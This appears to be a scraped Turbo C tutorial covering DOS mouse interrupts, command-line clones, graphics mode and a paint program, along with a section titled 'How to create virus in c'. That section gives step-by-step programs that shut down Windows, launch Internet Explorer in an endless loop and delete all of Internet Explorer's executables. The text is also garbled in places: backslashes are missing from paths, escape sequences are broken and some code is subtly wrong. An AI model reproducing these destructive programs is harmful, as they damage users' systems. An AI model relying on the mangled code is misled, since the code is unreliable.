The document provides code snippets for creating programs in C to: 1. Restrict mouse pointer movement and display pointer position by accessing the interrupt table and using functions like int86(). 2. Create simple viruses by writing programs that shutdown the system, open internet explorer infinitely, or delete IE files. 3. Create DOS commands by writing C programs that can be executed from the command line to list files or directories. 4. Switch to 256 color graphics mode and create directories by calling int86() and writing to registers. 5. Develop a basic paint brush program using graphics functions to draw shapes determined by brush properties when the mouse is clicked.

1. Mouse programming in c
(1) Write a c program which restricts the movement of
pointer?
Answer:
//restrict the x and y coordinate
#include <dos.h>
#include <stdio.h>
void main()
{
union REGS i,o;
//show mouse pointer
i.x.ax=1;
int86(0x33,&i,&o);
//x coordinate restriction
i.x.ax=7;
i.x.cx=20;
i.x.dx=300;
int86(0x33,&i,&o);
//y coordinate restriction
i.x.ax=8;
i.x.cx=50;
i.x.dx=250;
int86(0x33,&i,&o);
getch();
}
(2) Write c program which display position of pointer
in (x coordinate, y coordinate)?
Answer:
#include<dos.h>
#include<stdio.h>
void main()
{
union REGS i,o;
int x,y,k;
//show mouse pointer
i.x.ax=1;
int86(0x33,&i,&o);
while(!kbhit()) //its value will false when we hit
key in the key board
{
i.x.ax=3; //get mouse position
x=o.x.cx;
y=o.x.dx;

2. clrscr();
printf("(%d , %d)",x,y);
delay(250);
int86(0x33,&i,&o);
}
getch();
#include <dos.h>
#include <stdio.h>
void main()
{
union REGS i,o;
i.x.ax=1;
int86(0x33,&i,&o);
getch();
}
Explanation: To write such program you must have one
interrupt table. Following table is only small part
of interrupt table.

3. To see complete interrupt table click here
This table consists for column. They are:
(1) Input
(2) Output
(3) Service number
(4) Purpose
Now look at the first row of interrupt table. To show
the mouse pointer assign ax equal to 1 i.e. service
number while ax is define in the WORDREGS
struct WORDREGS {
unsigned int ax, bx, cx, dx;

4. unsigned int si, di, cflag, flags;
};
And WORDRGS is define in the union REGS
union REGS {
struct WORDREGS x;
struct BYTEREGS h;
};
So to access the structure member ax first declare a
variable of REGS i.e.
REGS i, o;
Note: We generally use i for input and o for output
To access the ax write i.x.ax (We are using structure
variable i because ax is input
(See in the interrupt table)
So to show mouse pointer assign the value of service
number to it:
i.x.ax=1;
To provide this information to microprocessor
we use int86 function. It has three parameters
1. Interrupt number i.e. 0x33
2. union REGS *inputregiste i.e. &i
3. union REGS *outputregiste i.e. &o;

5. So write: int86 (0x33, &i, &o);
How to create virus in c?
Create simple virus by c programming language.
(Only for study purpose)
(1) Write c program which shutdown the window
operating system?
Answer:
Step 1: Write the following program in TURBO C.
void main (void){
system("shutdown -s");
}
Step 2: Save the above file. Let file name is close.c
Step 3: Only compile the above program.
Step 4: Now close the turbo c compiler and open that
directory in window operating system where you have
saved the close.c (default directory c:tcbin)
Step 5: Double click on its .exe file (close.exe)
After some time your window operating system will
shutdown.
(2) Write a c program such that when we will click on
its .exe file then it will open internet explorer at
infinite times?
Answer:
Step 1: Write the following program in TURBO C.
void main (void)
{
for(; ;)
{
system("c:progra~1intern~1iexplore.exe");
}
}
Step 2: Save the above file. Let file name is
internet.c
Step 3: Only compile the above program.
Step 4: Now close the turbo c compiler and open that
directory in window operating system where you have
saved the internet.c (default directory c:tcbin)
Step 5: Double click on its .exe file (internet.exe)

6. (3) Write a c program which delete the all the .exe
file of internet explorer so that internet explorer
will not work?
Answer:
Step 1: Write the following program in TURBO C.
void main(void)
{
system("cd c:progra~1intern~1");
system(“del *.exe”);
system(“cls”);
}
Step 2: Save the above file. Let file name is
delete.c
Step 3: Only compile the above program.
Step 4: Now close the turbo c compiler and open that
directory in window operating system where you have
saved the delete.c (default directory c:tcbin)
Step 5: Double click on its .exe file (delete.exe)
How to create dos command in c?
(1) Create a dos command: type by c program.
Answer:
Step 1: Write following code.
#include <stdio.h>
void main(int count,char * argv[])
{
int i;
FILE *ptr;
char *str;
char ch;
if(count==1)
{
printf("The syntax of the command is
incorrect.n");
}
for(i=1;i<count;i++)
{
ptr=fopen(argv[i],"r");
if(ptr==NULL)
{
printf("The system cannot find the file
specified.");
if(count>2)

7. printf("nError occurred while procesing :
%s.n",argv[i]);
}
else
{
if(count>2)
{
printf("%snn",argv[i]);
}
while((ch=getc(ptr))!=-1)
printf("%c",ch);
}
fclose(ptr);
}
}
Step 2: Save the as open.c (You can give any name)
Step 3: Compile and execute the file.
Step 4: Write click on My computer of Window XP
operating system and select properties.
Step 5: Select Advanced -> Environment Variables
Step 6: You will find following window:
Click on new button (Button inside the red box)

8. Step 7: Write following:
Variable name: path
Variable value: c:tcbinopen.c (the path where you
have saved)
Step 8: Open command prompt and write open then file
name and press enter button.
Create dir command in c
Answer:
Step 1: Write following code.
#include <stdio.h>
#include <dos.h>
void main(int count,char *argv[])
{

9. struct find_t q ;
int a;
if(count==1)
argv[1]="*.*";
a = _dos_findfirst(argv[1],1,&q);
if(a==0)
{
while (!a)
{
printf(" %sn", q.name);
a = _dos_findnext(&q);
}
}
else
{
printf("File not found");
}
}
Step 2: Save the as open.c (You can give any name)
Step 3: Compile and execute the file.
Step 4: Write click on My computer of Window XP
operating system and select properties.
Step 5: Select Advanced -> Environment Variables
Step 6: You will find following window:
Click on new button (Button inside the red box)

10. Step 7: Write following:
Variable name: path
Variable value: c:tcbinopen.c (the path where you
have saved)

11. Step 8: Open command prompt and write list and press
enter button
Write the c program to switch the 256 color graphics
mode ?.
Ans: #include<stdio.h>
#include<dos.h>
void main()
{
int x,y,b;
union REGS i,o;
i.h.ah=0;
i.h.al=0x13;
int86(0x10,&i,&o); getch();
}
Write a c program to create a directory in current
working directory?
Ans: #include<stdio.h>
#include<dos.h>
void main()

12. {
union REGS i,o;
i.h.ah=0x39;
i.x.dx="ravan";
int86(0x21,&i,&o); getch();
}
Write a c programming code to create simple paint brush
software.
#include<dos.h>
#include<stdio.h>
#include<graphics.h>
#include<stdlib.h>
void main()
{
int x,y,b,px,py,c,p,s,cl;
int d=0,m;
union REGS i,o;
initgraph(&d,&m,"c:tc");
i.x.ax=1;
int86(0x33,&i,&o);
i.x.ax=8;
i.x.cx=20;
i.x.dx=450;
int86(0x33,&i,&o);
printf("Brush style insert number from 0 to 5 :
");
scanf("%d",&p);
printf("Brush size insert number from 1 to 7 :
");
scanf("%d",&s);
printf("Brush color insert number from 1 to 16 :
");
scanf("%d",&cl);
clrscr();
cleardevice();
printf("tt**********DRAW IMAGE************");
while(!kbhit())
{
i.x.ax=3;
b=o.x.bx;

13. x=o.x.cx;
y=o.x.dx;
px=x;
py=y;
int86(0x33,&i,&o);
if(cl==16)
{
c=random(16);
}
else
{
c=cl;
}
setcolor(c);
if(b==1)
{
i.x.ax=3;
int86(0x33,&i,&o);
x=o.x.cx;
y=o.x.dx;
b=o.x.bx;
switch(p)
{
case 1:circle(px,py,s);break;
case 2:ellipse(px,py,0,270,s,s+2);break;
case 3:fillellipse(px,py,s+2,s);break;
case 4:rectangle(px,py,x,y);break;
case 5:sector(px,py,30,120,s,s);break;
default:line(px,py,x,y);
}
}
}
getch();
restorecrtmode();
closegraph();
}